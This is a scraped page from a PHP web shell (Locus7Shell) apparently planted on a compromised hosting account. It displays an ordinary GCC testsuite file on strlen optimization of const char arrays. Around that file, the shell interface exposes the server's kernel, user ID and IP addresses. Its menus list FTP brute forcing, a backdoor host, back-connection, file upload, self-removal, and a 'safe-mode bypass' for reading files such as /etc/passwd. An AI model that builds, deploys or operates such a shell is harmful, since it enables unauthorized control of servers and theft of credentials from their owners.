Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     strlenopt-61.c (3.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR tree-optimization/89688 - -Wstringop-overflow confused by const
   2D array of char
   { dg-do compile }
   { dg-options "-Wall -fdump-tree-gimple -fdump-tree-optimized" } */

typedef __SIZE_TYPE__ size_t;

size_t strlen (const char*);
#define CAT(x, y) x ## y
#define CONCAT(x, y) CAT (x, y)
#define FAILNAME(name) CONCAT (call_ ## name ##_on_line_, __LINE__)

#define FAIL(name) do {                         \
    extern __attribute__ ((noreturn)) void FAILNAME (name) (void);    \
    FAILNAME (name)();                          \
  } while (0)

#define A(ref, len)                    \
  if (strlen (ref) != len) FAIL (failure); else (void)0

const char a3_4[3][4] = { { 1 }, { 1, 2 }, { 1, 2, 3 } };

void test_a4_4 (void)
{
  A (a3_4[0], 1);
  A (a3_4[1], 2);
  A (a3_4[2], 3);

  A (&a3_4[0][0], 1);
  A (&a3_4[0][1], 0);
  A (&a3_4[0][2], 0);
  A (&a3_4[0][3], 0);

  A (&a3_4[1][0], 2);
  A (&a3_4[1][1], 1);
  A (&a3_4[1][2], 0);
  A (&a3_4[1][3], 0);

  A (&a3_4[2][0], 3);
  A (&a3_4[2][1], 2);
  A (&a3_4[2][2], 1);
  A (&a3_4[2][3], 0);
}


const char a3_4_5[3][4][5] =
  {
   { { 1 }, { 1, 2 }, { 1, 2, 3 }, { 1, 2, 3, 4 } },
   { { 1, 2 }, { 1, 2, 3 }, { 1, 2, 3, 4 }, { 1 } },
   { { 1, 2, 3 }, { 1, 2, 3, 4 }, { 1 }, { 1, 2 } },
  };

void test_a3_4_5 (void)
{
  A (a3_4_5[0][0], 1);
  A (a3_4_5[0][1], 2);
  A (a3_4_5[0][2], 3);
  A (a3_4_5[0][3], 4);

  A (a3_4_5[1][0], 2);
  A (a3_4_5[1][1], 3);
  A (a3_4_5[1][2], 4);
  A (a3_4_5[1][3], 1);

  A (a3_4_5[2][0], 3);
  A (a3_4_5[2][1], 4);
  A (a3_4_5[2][2], 1);
  A (a3_4_5[2][3], 2);
}


struct S
{
  char a3[3];
  char a4_5[4][5];
};

const struct S sa4[4] =
  {
   { .a3 = { 0 },
     .a4_5 =
     {
      { 1 }, { 1, 2 }, { 1, 2, 3 }, { 1, 2, 3, 4 }
     }
   },
   { .a3 = { 1 },
     .a4_5 =
     {
      { 1, 2 }, { 1, 2, 3 }, { 1, 2, 3, 4 }, { 1 }
     }
   },
   { .a3 = { 1, 2 },
     .a4_5 =
     {
      { 1, 2, 3 }, { 1, 2, 3, 4 }, { 1 }, { 1, 2 }
     }
   },
   { .a3 = { 1 },
     .a4_5 =
     {
      { 1, 2, 3, 4 }, "1", { 1, 2 }, "123"
     }
   }
  };

void test_sa4 (void)
{
  A (sa4[0].a3, 0);
  A (sa4[0].a4_5[0], 1);
  A (sa4[0].a4_5[1], 2);
  A (sa4[0].a4_5[2], 3);
  A (sa4[0].a4_5[3], 4);

  A (sa4[1].a3, 1);
  A (sa4[1].a4_5[0], 2);
  A (sa4[1].a4_5[1], 3);
  A (sa4[1].a4_5[2], 4);
  A (sa4[1].a4_5[3], 1);

  A (sa4[2].a3, 2);
  A (sa4[2].a4_5[0], 3);
  A (sa4[2].a4_5[1], 4);
  A (sa4[2].a4_5[2], 1);
  A (sa4[2].a4_5[3], 2);

  A (sa4[3].a3, 1);
  A (sa4[3].a4_5[0], 4);
  A (sa4[3].a4_5[1], 1);
  A (sa4[3].a4_5[2], 2);
  A (sa4[3].a4_5[3], 3);
}


struct T
{
  struct S sa2[2];
  char a4[4];
};

const struct T ta2[2] =
  {
   [0] =
   {
    .sa2 =
    {
     [0] =
     { .a3 = { 0 },
       .a4_5 =
       {
    { 1 }, { 1, 2 }, { 1, 2, 3 }, { 1, 2, 3, 4 }
       }
     },
     [1] =
     { .a3 = { 1 },
       .a4_5 =
       {
    { 1, 2 }, { 1, 2, 3 }, { 1, 2, 3, 4 }, { 1 }
       }
     },
    },
    .a4 = "12"
   },

   [1] =
   {
    .sa2 =
    {
     [0] =
     { .a3 = { 1, 2 },
       .a4_5 =
       {
    { 1, 2, 3 }, { 1, 2, 3, 4 }, { 1 }, { 1, 2 }
       }
     },
     { .a3 = { 1 },
       .a4_5 =
       {
    { 1, 2, 3, 4 }, "1", { 1, 2 }, "123"
       }
     }
    },
    .a4 = "123"
   }
  };

void test_ta2 (void)
{
  A (ta2[0].sa2[0].a3, 0);
  A (ta2[0].sa2[0].a4_5[0], 1);
  A (ta2[0].sa2[0].a4_5[1], 2);
  A (ta2[0].sa2[0].a4_5[2], 3);
  A (ta2[0].sa2[0].a4_5[3], 4);

  A (ta2[0].sa2[1].a3, 1);
  A (ta2[0].sa2[1].a4_5[0], 2);
  A (ta2[0].sa2[1].a4_5[1], 3);
  A (ta2[0].sa2[1].a4_5[2], 4);
  A (ta2[0].sa2[1].a4_5[3], 1);

  A (ta2[0].a4, 2);

  A (ta2[1].sa2[0].a3, 2);
  A (ta2[1].sa2[0].a4_5[0], 3);
  A (ta2[1].sa2[0].a4_5[1], 4);
  A (ta2[1].sa2[0].a4_5[2], 1);
  A (ta2[1].sa2[0].a4_5[3], 2);

  A (ta2[1].sa2[1].a3, 1);
  A (ta2[1].sa2[1].a4_5[0], 4);
  A (ta2[1].sa2[1].a4_5[1], 1);
  A (ta2[1].sa2[1].a4_5[2], 2);
  A (ta2[1].sa2[1].a4_5[3], 3);

  A (ta2[1].a4, 3);
}

/* { dg-final { scan-tree-dump-not "failure" "optimized" } }
   { dg-final { scan-tree-dump-not "strlen1" "gimple" } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--